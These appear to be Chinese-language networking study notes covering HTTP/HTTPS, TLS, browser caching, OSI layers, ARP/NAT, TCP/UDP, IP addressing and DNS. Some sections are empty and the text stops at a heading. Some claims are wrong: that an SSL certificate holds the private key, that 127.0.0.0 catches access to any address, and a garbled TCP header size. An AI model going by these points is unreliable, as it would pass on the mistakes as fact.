http

定义

http,即超文本传输协议,常被用于在浏览器网站服务器之间的通信,以明文方式发送内容,不提供任何方式的数据加密。

特点

无状态:HTTP协议无法根据之前的状态来处理本次请求。

灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。

状态码

4xx(客户端错误)

  • 404:服务器中不存在请求的资源。
  • 403:请求的权限不足
  • 401:身份认证失败,该用户不存在
  • 400(bad request):请求存在语法错误,通常是因为请求的方式不符合接口文档规范

5xx(服务端错误)

  • 500:服务器错误,但是未给出具体原因
  • 502:上游服务器返回了错误的响应
  • 504:上游服务器响应超时

3xx(重定向)

  • 304:服务器提示浏览器读取缓存(重定向到缓存)
  • 302:临时重定向,第一次请求返回一个临时请求url,第二次请求访问这个临时url,产生两次请求
  • 301:永久重定向,第一次请求返回一个永久请求url,第二次请求访问这个永久url,产生两次请求

2xx(请求成功)

  • 200(成功):请求已成功,并返回响应头响应体

  • 201:创建用户成功(由0到1的过程)

  • 204:服务器成功处理了请求,但是没有返回任何内容04通常表示“没有”的概念;通常用于响应DELETE请求,表示资源已被成功删除,但没有返回具体内容。

HTTP1.0

默认使用短连接

即请求头中的Connection字段的值默认是close,每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理并响应数据后立即断开TCP连接。比如,解析html文件,当发现文件中存在资源文件的时候,这时候又创建单独的链接,最终导致,一个html文件的访问,包含了多次的请求和响应,每次请求都需要创建连接、关闭连接。频繁的建立,断开连接,明显造成了性能上的缺陷,导致网络利用率较低,如果需要建立长连接,需要设置一个非标准的Connection字段

1
Connection: keep-alive

也就是说其实http1.0也能实现长连接,但是需要手动修改请求头。

不支持断点续传

HTTP1.0不支持断点续传功能,每次都会传送全部的页面和数据。本质是因为http1.0中不支持range字段,不支持按范围请求资源。

HTTP1.1

现在浏览器发送请求,默认使用的http版本就是1.1,与HTTP1.0的区别在于:

默认支持长连接

1
2
3
4
5
HTTP/1.1 304 Not Modified
Server: nginx/1.28.0
Date: Thu, 15 May 2025 15:06:20 GMT
Last-Modified: Thu, 08 May 2025 06:00:56 GMT
Connection: keep-alive
  • 即在一个TCP连接上,可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。这样,在加载html文件的时候,文件中多个请求和响应就可以在一个连接中传输,减少了加载时间
  • 只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。如果某个 HTTP 长连接超过一定时间(60s)没有任何数据交互,服务端就会主动断开这个连接。

问题是如果TCP连接是可复用的,那如何判断请求响应完毕了呢?

服务器在响应头中,声明响应体的长度Content-Length ,客户端读取完指定字节后,就知道这个响应结束了。

如果TCP连接不可复用,在响应头中接受到Connection:close字段,就表示响应完毕了。

并发连接

  • 在 HTTP/1.1 下,浏览器会为同一个域名建立 6~8 个并发连接(不同浏览器略有差异)。
  • 每个连接中可以并发请求,但是必须按照请求的顺序返回响应,也就是说有队头阻塞的问题。因为http1.1是纯文本协议,请求和响应没有对应的标识,无法将乱序的请求和响应关联起来。
  • 这些并发连接的目的端口号都是一样的,即80或者443,但是源端口号是不一样的,从而用来区别不同的连接。

在http1.1中,为了优化上述问题,有2中解决方案,第一种就是减少请求的个数,第二种就是将同一页面下的资源,分布到不同的域名下,这样就能增加连接的个数。

新的请求方法

添加新的请求方法比如putdeleteoptions(预检请求),添加了新的请求头比如If-None-Match, If-Modified-Since

http2.0

在http1.1的基础上,新增了二进制分帧层(介于应用层和传输层之间),将http由文本协议转化成二进制协议

二进制分帧层有2个核心概念,帧和流。帧是数据传输的最小单位,其头部字段包含StreamId,length和type等字段。

http2将请求和响应报文分割成头部帧和数据帧这两类帧,由type字段区分,每个请求及其对应的响应就是一个流,一个流由多个帧组成,流内部的帧共用一个流id,接收方可以根据流id将帧关联起来。

由于请求和响应通过流ID关联,所以可以实现在一个tcp连接上并发请求,并允许乱序响应,而不用担心匹配错误的问题。

https

http是不安全的,在客户端与服务端使用http通信的时候,请求响应报文都是明文的,消息被截获后通信内容就泄漏了。https在http的基础上,使用TLS/SSL加密,从而确保通信是安全的。使用https协议访问某个域名/网站,除了基本的DNS解析,TCP三次握手建立连接,还要经过SSL握手,然后才能开始加密通信

TLS/SSL

TLS/SSL加密过程中既使用了对称加密,也使用了非对称加密。使用非对称加密是为了得到一个会话密钥,这个会话密钥并没有进行传输,而是双方通过计算得出来的,握手成功后,再使用这个会话密钥进行对称加密。

对称加密

使用同一把密钥进行加密和解密。发送方和接收方必须共享相同的密钥。优点是解密速度快,适合大量数据的加密,缺点是密钥必须共享,这个过程密钥可能被窃取。

非对称加密

使用一对密钥:公钥(公开)和私钥(保密)。公钥用于加密,私钥用于解密。优点是只传输公钥,私钥不进行传输,泄漏风险很小,很安全,缺点是解密速度慢

SSL证书

SSL证书其实就是保存在源服务器的数据文件,想要证书生效必须向CA申请,表明域名是属于谁的(可以理解为域名必须实名认证,有人需要为这个域名负责),还包含了公钥和私钥

TLS/SSL握手过程

在握手的过程中,服务端会把自己的SSL证书发送给客户端验证,浏览器会通过查询证书信任列表来判断这个证书是否有效,证书无效则浏览器显示这个连接不安全,有效则继续进行后续操作,经过非对称加密得到一个会话密钥,握手结束。

在握手过程中第一随机数,第二随机数,和公钥都是明文传输的,就意味着有暴露的风险,但是第三随机数的传输是经过公钥加密的,只能用私钥解密,也就是只有服务端知道第三随机数是什么,这就是一次非对称加密,然后再用那3个随机数计算得到会话密钥,会话密钥没有进行传输所以是安全的,握手结束后,后续的通信都用这个会话密钥进行对称加密

详细解释可参考:HTTPS是什么?加密原理和证书。SSL/TLS握手过程_哔哩哔哩_bilibili

GET请求和POST请求的区别

用途不同

get请求被用来获取数据,post请求被用来提交数据

编码方式

GET请求只能进行url编码,而POST支持多种编码方式。

url编码是将url中不能包含的字符(如汉字,空格,特殊符号等),转换成浏览器和服务器都能识别的格式,通常使用百分号加上2位16进制数来表示每个字符的acsii编码,因此url编码也叫百分号编码。url编码有利于保证url的合法性。

携带信息

GET请求一般把携带的参数放在URL上,不安全,而且url上携带的参数长度限制,而POST请求一般把携带的参数放在请求体上,没有长度限制,也相对更为安全。

然而,从传输的角度来说,他们都是不安全的,因为HTTP 在网络上是明文传输的,只要在网络节点上捉包,就能完整地获取数据报文。只有使用HTTPS才能加密安全。

http常用请求头

Accept:客户端能够接受的响应数据类型

1
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

Authorization:用于超文本传输协议的认证信息

1
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
1
2
3
4
5
6
7
8
9
10
11
12
request.interceptors.request.use(
(config)=>{
const token = localStorage.getItem('token')
if(token){
config.headers.Authorization = `Bearer ${token}`
}
return config
},
(err)=>{
return Promise.reject(err)
}
)

Cache-Control: 不仅仅可以在请求中携带,也可以在响应中携带

在请求中携带:

  • no-cache:强制进行协商缓存
  • no-store:客户端 直接禁用缓存,每次都向服务器发送完整请求,服务器必须返回 200 OK 和完整资源内容,不会返回 304
  • max-age=<seconds>:客户端愿意接受一个已经存在的缓存,只要它的年龄不超过指定秒数(愿意接受强缓存,但是有条件)

在响应中携带:

  • no-cache:允许浏览器缓存资源,但是不设置资源的有效时间,这样就使得浏览器无法进行强缓存,每次都得进行协商缓存。效果就等同于设置max-age=0

  • no-store禁用缓存,浏览器不会将响应内容保存到本地缓存中,中间代理(如代理服务器或 CDN)也不会缓存该响应。

    常见场景包括:敏感数据(如银行账户信息、个人隐私数据)的传输;动态生成的内容(如实时股票价格、聊天记录),这些内容每次请求都可能不同,简单的来说就敏感的内容和动态变化的内容都没有必要缓存

  • max-age=<seconds>:设置强缓存,并指定缓存的有效时间。

Content-Length:表示请求体的长度

Content-Type:告知服务器请求体的数据类型

If-Modified-Since:在协商缓存中,被用来询问服务器是否应该使用缓存。

1
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT //值为上次返回的Last-Modified, 询问自该时间点后资源是否发生改变

If-None-Match:在协商缓存中,被用来询问服务器是否应该使用缓存。

1
2
If-None-Match: "737060cd8c284d8af7ad3082f209582d"
//值为上次返回的Etag,就是文件内容的哈希值,文件内容改变,这个值就会改变。

Cookie:携带cookie,cookie具体的介绍前往js面试一文中。

1
2
3
buvid3=57161BE6-C8C6-DA39-581F-E6FCB97E737107226infoc;
b_nut=1708906907;
i-wanna-go-back=-1;//就是这样的键值对格式,一个键值对就是一个cookie,其实每个cookie包含的信息远不止如此

浏览器的缓存策略

浏览器的缓存方式主要分为两大类,强缓存和协商缓存

强缓存

  • 当浏览器请求某个资源的时候,如果浏览器缓存中存在该资源,且没有过期,那么浏览器不会发送实际请求到服务器,而是直接读取本地缓存,此时响应状态码为200 (from disk cache)200 (from memory cache)
  • 缓存是否过期是根据缓存的Expires/Cache-Control字段来判断的。特点是客户端查看缓存资源的特定字段,来判断是否使用缓存。
  • Cache-Control优先级高于expiresexpireshttp1.0的产物,而Cache-Controlhttp1.1的产物,两者同时存在的时候expires会被Cache-Controlmax-age覆盖,在不支持http1.1的情况下可能就需要expires来保持兼容。
  • Cache-Control的值是一个字符串,形如:"no-cache, must-revalidate, ....",类似的关键字还有
    • no-store:禁用缓存
    • private:私有缓存,禁止中间人(比如CDN等代理缓存)
    • public:共享缓存,允许中间人缓存
    • max-age:资源可以被缓存的最大时间,单位:秒,是一个相对时间,作用偏向于客户端缓存(相比于s-maxage)
    • s-maxage:作用与 max-age 类似,但仅适用于共享缓存(如 CDN、代理服务器),若同时设置 s-maxagemax-age,共享缓存会优先采用 s-maxage,而客户端缓存仍用 max-age
    • must-revalidate:缓存使用陈旧资源时,必需先验证状态
1
2
3
4
5
//设置缓存的过期时间,即10s后
//将10s后的日期对象,转化成格林尼治标准时间
res.setHeader('Expires', new Date(new Date().getTime() + 1000 * 10).toGMTString())
//设置缓存有效时间为10s
res.setHeader('Cache-Control','max-age=10')

协商缓存

是指在缓存中的资源过期后,浏览器通过在请求头中,设置If-Modified-Since或者If-None-Match字段,询问服务器是否应该使用缓存;如果服务器发现资源未改变,则响应304提示浏览器使用缓存,否则响应200返回新的资源,以及最近一次修改该资源的时间即Last-Modified,或者最新的ETag值。

If-Modified-Since的值,为上次返回的Last-Modified值,If-None-Match的值为上次返回的ETag值;Last-Modified 表示本地文件最后修改日期;Etag,就是由文件内容得出的哈希值,文件内容改变,这个值就会改变。

协商缓存好比食物的保质期过了,于是询问还能不能吃。

如何理解OSI七层模型

应用层

该层协议定义了应用进程之间的交互规则,包括DNS协议,HTTP协议,电子邮件系统采用的 SMTP协议等。

在应用层交互的数据单元,我们称之为报文

表示层

该层提供的服务主要包括数据压缩数据加密以及数据描述,使应用程序不必担心在各台计算机中表示和存储的内部格式差异

会话层

会话层就是负责建立、管理和终止表示层实体之间的通信会话

该层提供了数据交换的定界和同步功能,包括了建立检查点恢复方案的方法

传输层

传输层的主要任务是为两台主机进程之间的通信提供服务。其中,主要的传输层协议是TCPUDP

网络层

负责主机主机的通信,ip地址就工作在这一层,常见的设备比如路由器。在发送数据时,网络层把传输层产生的报文或用户数据报封装成分组或者包,向下传输到数据链路层。

在网络层使用的协议是无连接的网际协议(Internet Protocol)和许多路由协议

数据链路层

物理层

比较重要的就是应用层,传输层,网络层,数据链路层,物理层,对这些模型的解释主要还是偏概念,较难以理解,了解就好。

案例解析

如图所示PC0-PC5,这6台主机通过交换机Switch0相连,这6台主机构成一个广播域,也可以说是一个内部网络,一个局域网(LAN)

这6台电脑之间的通信不需要经过路由器,也就是说“不需要联网”。

Switch0又和一个路由器Router0相连,这就把这个内部网络和互联网连接了起来,允许这些主机访问其他主机或者服务器,比如B站服务器。

这台路由器常常被叫做默认网关。路由器会给连接到它的每台主机,也包括自身,动态分配(DHCP,动态主机配置协议)一个私有ip地址,如图所示。

当PC0中的浏览器要发送一个请求时,这个请求在应用层,被称作报文,然后被交给传输层,传输层把报文和端口号拼接(源端口和目标端口,比如80或者443)封装成报文段,交给网络层,网络层把报文段与ip地址(源ip地址和目标ip地址)封装成

我们知道目标ip可以通过dns域名解析得到,而目标端口通常就80(http)或者443(https)【也就是说目标IP和目标端口号都是在应用层指定的】,而源ip地址则是路由器分配给我们的私有ip地址,那源端口是如何确定的呢?源端口是由操作系统功分配的:

  • 浏览器通常使用HTTP或HTTPS协议进行通信,而这些协议一般基于TCP。
  • 在建立TCP连接时,需要一个四元组来唯一标识一条连接:源IP地址、源端口、目的IP地址和目的端口
  • 当发起一个HTTP(S)请求时,浏览器会调用操作系统的API,来创建一个新的TCP连接。
  • 此时,操作系统会在本地未被占用的高端口(通常是1024到65535之间,这是因为低于1024的端口被视为知名端口,通常保留给系统服务和特定应用程序使用)中选择一个作为源端口
  • 这些由操作系统,为客户端应用(例如:浏览器)自动分配的端口,被称为“临时”或“动态”端口。
  • 每次发起新的请求,如果需要建立新的TCP连接,则可能会分配不同的源端口,尽管对于同一目标服务器的并发请求,它们可能共享相同的源IP地址,目的IP地址,端口,但通过不同的源端口加以区分。
  • 在一个已建立的TCP连接期间,源端口在整个会话期间保持不变。只有当连接关闭后,该端口才可被重新分配用于其他连接。

而源mac地址就是自己电脑的mac地址,至此,我们还需要知道这个目标ip地址,对应的mac地址,才能封装成帧,才能在数据链路层的交换机上进行转发。

那该如何获得目标ip对应的mac地址呢?

我们先查看本地主机的arp缓存表,查找这个ip地址对应的mac地址,如果缓存表中没有对应的记录,我们就需要进行arp广播

我们将目标mac地址,指定为”广播mac地址”,封装得到到一个arp广播帧,广播到本地所有主机。

如果目标ip地址在本地网络(也就是说目标ip地址是私有ip),目标ip地址对应的主机在收到arp广播帧后,拆分帧为包,检查目标ip,发现确实是发给自己的帧,于是会返回自己的MAC地址(单播,因为广播帧中包含了源mac地址和源ip地址)给PC0,然后PC0知道目标ip对应的mac地址后,把数据包封装成,通过交换机转发给目标主机即可。

在本地开发环境中,当你使用脚手架工具(如Vue CLI、Create React App等)启动一个本地服务器时,通常会看到两个访问地址:一个是localhost(127.0.0.1),另一个是包含具体IP地址的形式,这里的具体IP地址,通常是你的计算机在本地网络中的私有IP地址,私有ip地址可以用来访问本地网络中的主机

如果目标ip地址不在本地网络(通常情况下),广播arp请求则无响应,所有本地主机都表示:”这不是在询问我的mac地址捏”,此时修改广播帧的目标ip为默认网关ip,再发送一次arp广播(此时的目标mac是广播mac,目标ip是默认网关ip)

默认网关,即路由器收到arp广播帧后,发现是在询问自己的MAC地址(目标ip=默认网关ip),并记住客户端MAC地址(源mac)与客户端ip地址(源ip)的对应关系(存储在arp缓存),并返回自己的MAC地址(单播),然后主机PC0就能将数据封装成转发给默认网关

强调一下最终转发给默认网关的帧的细节:

  • PCO转发给默认网关的帧,的目标IP地址,就是真正的目标ip地址,比如B站服务器的IP地址,而不是默认网关ip地址
  • PCO转发给默认网关的帧,的目标mac地址,是默认网关的mac地址,而不是直接设置为最终目标服务器的MAC地址,实际上,对于局域网外的目标服务器,我们也没有办法直接获得其MAC地址。
  • 默认网关,即路由器,在接收到转发的帧,解封帧成包,替换中的源ip地址(私有ip地址),为路由器对应的公有ip地址
  • 路由器还会给这个私有ip地址,分配一个对外端口号,替换源端口号,并记录对应关系(NAT)

有了对外端口号,就能实现公有IP地址到私有ip地址的1对多映射,有人肯能会问,为什么还要替换端口号呢?直接有原来的源端口号来标识不同的私有ip不行吗?确实不行,因为不同的私有ip(不同的主机),可以使用相同的端口号。

路由器再根据包里的目标ip地址,进行路由转发,服务器所在的默认网关,如果知道这个目标ip地址对应的是那台服务器(知道目标ip地址对应的服务器mac地址),则把数据包封装成,经交换机转发给对应的服务器,如果不知道则进行arp广播

对应的服务器收到后进行逐层解封,根据目标MAC地址确认这个帧是发给自己的,根据目标ip地址确认这个包是发给自己的,根据目标端口,确定要与哪个应用程序交互,再把报文交给这个应用程序处理。

详细参考:互联网数据传输原理 |OSI七层网络参考模型_哔哩哔哩_bilibili

如何理解TCP/IP协议

TCP/IP协议不仅仅指的是TCPIP两个协议,而是指一个由FTPSMTPTCPUDPIP等协议构成的协议簇

只是因为在TCP/IP协议中TCP协议和IP协议最具代表性,所以通称为TCP/IP协议簇。

介绍一下TCP

是什么

TCP(Transmission Control Protocol,传输控制协议),是一种面向连接,面向字节流的通信协议。它将应用层交付过来的报文,看成连一串字节流(无论应用层交付过来多少报文,都视为一连串的字节流),并将每个字节编号,然后将报文分段,再拼接上端口号形成报文段,再将报文段交付给网络层。

TCP报文段

TCP的头部大小至少为54 = 20字节,包括*端口号,序列号,确认应答号,还有窗口大小

序列号

TCP报文段的序列号(seq)用于标记数据部分的第一个字节,在原始字节流中的位置。有了序列号,才能进行报文段的去重和组装。

确认应答号

TCP报文段的确认应答号(ack),等于对应的的序列号 + 数据长度(数据长度等于TCP报文长度 - 首部长度)。确认应答号ack用来表示ack之前的字节都接收到了,接下来期望收到的是序列号是ack的报文段,使用的是累计确认

超时重传

如果发送端发现,某条数据报长时间没有得到应答,就会重传该条数据报,有了确认应答号,就能知道某个数据段是否被成功接收。

TCP的可靠传输很大程度上依赖着超时重传和确认应答机制

流量控制

流量控制其实就是控制发送方的发送速率TCP的流量控制,依赖于TCP报文段中的窗口大小字段,窗口大小指的是接收窗口(rwnd)大小。它表示从当前确认号(ack)开始,接收方愿意接受的数据量。这个值由接收方根据其当前的接收能力,和缓冲区可用空间设定。

补充:拥塞控制

TCP还有的一个功能是拥塞控制。拥塞窗口并不直接体现在TCP头部中,它是发送方内部维护的一个状态变量,用来估计网络的拥塞状况并据此调整发送速率。发送方根据一系列规则和算法,如慢启动、拥塞避免、快速重传(3ack机制,当收到比期望的序列号大的报文段,就发送一个ack给接收端,告诉接收端自己期望的是哪个报文段,当接收端在发现超时之前,就能重传丢失的报文段,所以叫做快速重传)和快速恢复等机制,动态调整cwnd的大小,以尝试最大化吞吐量的同时避免网络拥塞。

分析上述图:

  • 慢开始的慢,指的是起始的拥塞窗口很小(大小为1),但是增长速度是很快的
  • 达到慢开始门限的时候,进行拥塞避免,每个RTT,拥塞窗口的大小+1,增长速度慢
  • 当发生网络超时的时候(也就是发送端超过一定时间没有接收到ack),说明网络比较拥挤,于是转为慢开始,并将慢开始门限设置为超时的时候的拥塞窗口大小的一半
  • 当接收到3个ack的时候,执行快恢复算法

3-ACK

要是等到超时的时候,发送端再重传,未免效率较低,有没有一种方法,能在超时事件发生之前,就提醒发送端重传报文段呢?

每当比期望序号大的失序报文段到达时,发送一个冗余ACK,指明下一个期待的报文段的序号假设发送方发送了如下编号的报文段。

举例说明:

1
1 → 2(丢失)→ 3 → 4 → 5

接收方的行为如下:

  • 接收方收到1号报文段:正常接收,发送 ACK = 100(假设每个报文段大小为100字节,下一个期望的是100)

  • 2号报文段丢失,没有收到。

  • 接收方收到3号报文段,是失序到达的(期待的是2号),发送冗余ACK:ACK=100(仍然期待2号)

  • 接收方收到4号报文段,仍然是失序的,再次发送冗余ACK:ACK=100

  • 接收方收到5号报文段,还是失序的,再一次发送冗余ACK:ACK=100

此时发送方收到了 三个冗余ACK(快速重传触发条件),于是立即重传2号报文段。

关键时刻来了:发送方重传2号报文段,接收方收到它!

接收方收到2号报文段,现在接收方已经缓存了3、4、5号报文段。收到2号后,现在所有数据都按顺序到达了(1,2,3,4,5)

接收方将这些报文段重组,并向上层交付。然后发送一个累计ACK,确认到5号报文段的最后一个字节,即:

假设每个报文段是100字节,初始序列号为0:1号:099,2号:100199,3号:200299,4号:300399,5号:400~499

所以最终发送的ACK号是 500,表示:“我已经收到前500个字节了,期待下一个是500开始的。”

连接建立和断开

三次握手

三次握手(Three-way Handshake)其实就是指建立一个TCP连接时,需要客户端和服务器总共发送3个包,主要作用就是为了确认双方的接收能力和发送能力是否正常、指定自己的初始化序列号为后面的可靠性传送做准备。

过程如下:

第一次握手:客户端给服务端发一个 SYN(同步)报文,并指明客户端的初始化序列号seq,此时客户端处于 SYN_SENT 状态

  • seq代表每个报文的序列号,在每个报文中都需要携带,用来区分发送的不同报文。它的值等于当前报文段中的数据的第一个字节在原始字节流中的编号。
  • SYN这种大写的字段的值(还比如ACK),只有2个值,0表示关闭,1表示开启,SYN=1表示请求开启同步

第二次握手:服务器收到客户端的 SYN 报文之后,会以自己的 SYN 报文作为应答,为了确认客户端的 SYN,将客户端的 seq+1作为ack的值(虽然没携带数据,但是规定就是ack=seq+1),此时服务器处于SYN_RCVD的状态

  • ACK字段的值只有0和1,ACK=1表示确认的意思,SYN=1和ACK=1一起使用表示确认开启同步

  • ack用于响应报文中,它的值等于相应的请求报文的序列号+1,只有开启了ACK,才能使用ack字段

  • ACK=1和ack总是同时出现的,只有当ACK=1的时候,ack才有效。

  • 第三次握手:客户端收到 SYN 报文之后,会发送一个 ACK 报文,值为服务器的seq+1。此时客户端处于 ESTABLISHED 状态。服务器收到 ACK 报文之后,也处于ESTABLISHED状态,此时,双方已建立起了连接。

四次挥手

FIN字段也是大写的字段,值也是只有0和1。

介绍一下UDP

是什么

UDP(User Datagram Protocol,用户数据报协议),是一个简单的面向数据报的通信协议,即对应用层交下来的报文,不拆分,只是在其上面加上首部,形成UDP数据报后,就交给了下面的网络层。

UDP是无连接的,不需要和接收方打招呼建立连接,而是直接发送数据。这么设计的好处就是,可以实现一对多的数据传输,只需要在网络层中,将目标IP地址设计为广播地址即可,现实生活中的直播技术使用的就是UDP。

UDP的首部很小,只占用了8个字节(4*2=8)

UDP数据报中可以看出,UDP并没有确认机制(没有确认应答号ack),所以传输是不可靠的

和TCP的区别

这2个协议都是工作在传输层的协议,都会给应用层交付过来的报文,添加端口号(源端口,目标端口),把报文封装成TCP报文段或者UDP数据报。下面说说区别

连接建立

TCP是面向连接的,即发送数据之前需进行三次握手建立连接,而UDP不需要建立连接,直接发送数据。所以TCP只能实现1对1数据传输,而UDP可以实现1对多数据传输,因为TCP连接限制了目标IP只能对应一台主机。

报文分段

  • TCP将应用层交付过来的数据报视为字节流,如果递过来的报文很大,TCP会将报文分段,并给这些报文段编号(seq)。

  • 而UDP则始终把应用层交付过来的报文当做一个整体,不进行分片,直接加上头部封装成UDP数据报,所以UDP是面向用户数据报的。

首部开销

TCP报文段首部内容更多,首部更大,至少有20字节;而UDP数据报首部开销小,只有8个字节。

可靠传输

TCP是可靠的,UDP是不可靠的(尽全力交付),因为TCP头部中包含确认应答号,也就是说,接收方可以根据确认应答号,判断哪些tcp报文段接收成功,哪些丢失了,并重传丢失的数据报。

总结

TCP 应用场景适用于对效率要求低,对准确性要求高或者要求有连接的场景,而UDP 适用场景为对效率要求高,对准确性要求低的场景,各有优缺。

IP

什么是IP

IP(Internet Protocol),也叫互联网协议。它定义了如何将数据分割成数据包、地址编码、路由选择以及如何重新组装这些数据包以恢复原始信息。IP 提供的是无连接的服务,这意味着每个数据包独立处理,不需要事先建立专用的通信通道。这也意味着 IP 不保证数据包按顺序到达或不会丢失。

什么是IP地址

IP地址是IP (Internet Protocol,互联网协议)为每个连接到网络的设备分配的一个逻辑地址,用来唯一标识每一台设备,这使得设备之间能够互相识别并进行通信。IP地址的格式可分为ipv4(32位),ipv6(128位 )。

IPv4格式IP地址分类

ipv4格式的IP地址被分为私有IP地址和公有IP地址,私有ip地址的出现,主要是为了解决ipv4格式的IP地址数量不足的问题。

私有ip地址只能在局域网中通信,而公有ip地址才能在互联网通信,一个公有ip地址常常对应多个私有ip地址。路由器内部的DHCP会自动为设备分配私有ip地址,而公有ip地址由运营商分配。

ipv4格式的地址另一种常见的分类方式是分为A,B,C四大类

A类

对应的子网掩码为255.0.0.0,即前8位用来表示网络号,后24位用来表示主机号。前一位比特必须是0(限定前几位比特是为了能快速识别是哪类IP地址),表示 IP 地址范围为 0.0.0.0127.255.255.255

B类

对应的子网掩码为255.255.0.0,即前16位用来表示网络号,后16位用来表示主机号,前两位比特必须是10,表示 IP 地址范围为 128.0.0.0191.255.255.255

C类

对应的子网掩码为255.255.255.0,即前24位用来表示网络号,后8位用来表示主机号,前三位比特必须是110,最为常见,表示 IP 地址范围为 192.0.0.0223.255.255.255

特殊地址

127.0.0.0:对任何ip地址的访问都会访问这个ip地址

广播地址 :主机号全为1的地址。

网络地址:主机号全为0的地址,不能用来标识某一台主机。

DNS协议

DNS(Domain Names System),域名系统,是互联网一项服务,是把域名转换成对应的IP地址的服务器。

什么是域名

域名可以理解为给ip地址起的别名,方便记忆。域名一般由三部分构成,由.连接,从右到左分别是顶级域名,权威域名,本地域名。

域名查询方式

递归查询

如果 A 请求 B,那么 B 作为请求的接收者一定要给 A 想要的答案,可以理解为帮人帮到底,但是这样对B服务器(域名服务器)的压力就很大,域名服务器不返回下级域名服务器ip地址,而是负责的帮忙询问,只返回普通服务器ip地址。

迭代查询

如果接收者 B 没有请求者 A 所需要的准确内容,接收者 B 将告诉请求者 A,如何去获得这个内容,但是自己并不去发出请求。

域名缓存

计算机中DNS的记录分成了两种缓存方式:

浏览器缓存:浏览器在获取网站域名的实际 IP 地址后会对其进行缓存,减少网络请求的损耗。

操作系统缓存:操作系统的缓存其实是用户自己配置hosts 文件

DNS解析过程

当我们访问一个网站,就需要通过DNS解析获取它的ip地址,首先搜索浏览器的 DNS 缓存,缓存中维护一张域名IP 地址的对应表

若缓存没有命中,则继续搜索操作系统的 DNS 缓存

若操作系统缓存仍然没有命中,操作系统将向本地域名服务器(默认域名服务器)发送一次DNS查询请求,询问这个域名的ip地址,本地域名服务器采用递归查询自己的 DNS 缓存(因为域名是多级结构嘛),查找成功则返回结果。

若本地域名服务器的 DNS 缓存没有命中,则本地域名服务器向上级域名服务器进行迭代查询

  • 首先本地域名服务器向根域名服务器发起请求,询问根域名服务器,返回顶级域名服务器ip地址到本地服务器
  • 本地域名服务器拿到这个顶级域名服务器的ip地址后,就向其发起请求,返回权威域名服务器ip地址
  • 本地域名服务器根据权威域名服务器的ip地址向其发起请求,最终得到该域名对应的 IP 地址

本地域名服务器将得到的 IP 地址返回给操作系统,同时自身将 IP 地址缓存

操作系统将 IP 地址返回给浏览器,同时自身将 IP 地址缓存

至此,浏览器就得到了域名对应的 IP 地址,并将 IP 地址缓存

域名解析参考:【实操演示】域名DNS解析设置 | 第一次设置域名解析?看这个就明白了 | 什么是域名解析 | 如何设置_哔哩哔哩_bilibili

地址栏输入 URL 敲下回车后发生了什么

这个问题常常和《如何提高SPA的首屏加载速度》联合考察,提高首屏加载速度的方法,通常在TCP连接建立后考察

URL解析:判断输入的url是否合法,不合法则根据关键字进行搜索,合法则对这个URL进行结构分析。一个合法的URL包括协议,域名/ip,端口号(默认为80或者443),资源路径,查询参数等。

DNS查询:通过DNS查询获得域名部分对应的ip地址

建立TCP连接:拿到ip地址后,通过三次握手,与目标服务器建立TCP连接。

SSL握手:如果使用的是https协议的话,还会进行一次ssl握手,服务器发送https证书给客户端浏览器,然后浏览器校验证书的有效性,如果证书已过期或者无效,则提示连接不安全。如果证书有效,进行非对称加密获取会话密钥(加密使用的公钥包含在https证书中,私钥在服务端),获取到会话密钥后,后续就使用这个会话密钥进行对称加密通信。

发送http请求

tcp连接建立且ssl握手成功后,浏览器发送http请求报文

http请求报文结构从上至下依次是:

  • 请求行

    包括请求方法资源路径协议以及协议版本号

  • 请求头

    http请求常见请求头再前面有介绍。

  • 请求体

    用来存放请求携带的数据

服务端响应请求

当服务器接收到浏览器的请求之后,就会对请求进行处理,执行一些逻辑操作,响应index.html文件

页面渲染

当浏览器接收响应报文后,会对这个报文进行解析:

  • 查看响应头的信息,根据不同的指示做对应处理,比如重定向,存储cookie,缓存资源等等
  • 特别是查看响应头的 Content-Type的值,根据不同的资源类型,采用不同的解析方式。
  • 查看响应体,发现返回的是一个html文件,便开始解析这个html文件

后续步骤:

  • 资源预加载:如果在 html 中存在 <link><script>img 等标签,浏览器会在开始解析html标签之前,预加载这些资源

  • 解析HTML,构建 DOM 树。如果在解析html标签的时候,如果遇到了script标签,将script插入dom树;如果标签未添加defer/async,且对应的js文件还未加载完毕,则该js文件的加载和执行都会阻塞dom树的构建。
  • 当css文件加载完毕之后,就开始解析 CSS ,构建CSSOM树。
  • 虽然DOM树和CSSOM树能够并行构建,但两者都需要准备就绪后,才能生成最终的渲染树,所以说,css的加载和解析是会推迟渲染的。了解这一点有助于更好地设计网站结构和优化加载性能。
  • Recalculate Style:合并 DOM 树和 CSS 规则,生成 render 树
  • 进行布局 ,确定元素的位置和大小,然后再进行绘制,绘制元素的具体样式

页面空白问题

“白屏”通常指的是用户看到的是一个空白的页面(纯白或无内容),可能的原因包括:

  • 页面确实还没有开始渲染;
  • 页面内容起初本来就是空白的,需要js来添加结构和样式

我们讨论第二种情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!doctype html>
<html lang="">

<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1">
<link rel="icon" href="favicon.ico">
<title>heima-shopping</title>
<script defer="defer" src="js/chunk-vendors.f3f3a489.js"></script>
<script defer="defer" src="js/app.04cc1747.js"></script>
<link href="css/chunk-vendors.c587e11f.css" rel="stylesheet">
<link href="css/app.a7ac9fb3.css" rel="stylesheet">
</head>

<body>
<div id="app"></div>
</body>

</html>

这是一个典型的SPA应用的index.html文件,其中body中的html标签非常少,就是个空壳子,需要等待加载,执行好引入的js文件修改dom结构后才有实际的内容。如果引入的js文件体积很大,导致html标签解析结束,dom构建好,cssom也构建好后,但js文件还未加载完毕,由于页面渲染不会等待js文件,所以页面会直接渲染,出现空屏。

说说你对websocket的理解

在传统网页中,只有用户和页面交互后,才会发送请求获取数据,有什么办法可以不用用户操作就接收到服务端的数据呢?

定时轮询

设置定时器,每个几秒就向服务器发送请求获取数据,比如微信扫码登录,切换到扫码登录页面后,就会不断向服务器询问二维码的状态。这样的缺点就是会产生大量的请求,而且用户扫码后也会有一定的延时才成功登录。所以有没有更好的办法呢?

长轮询

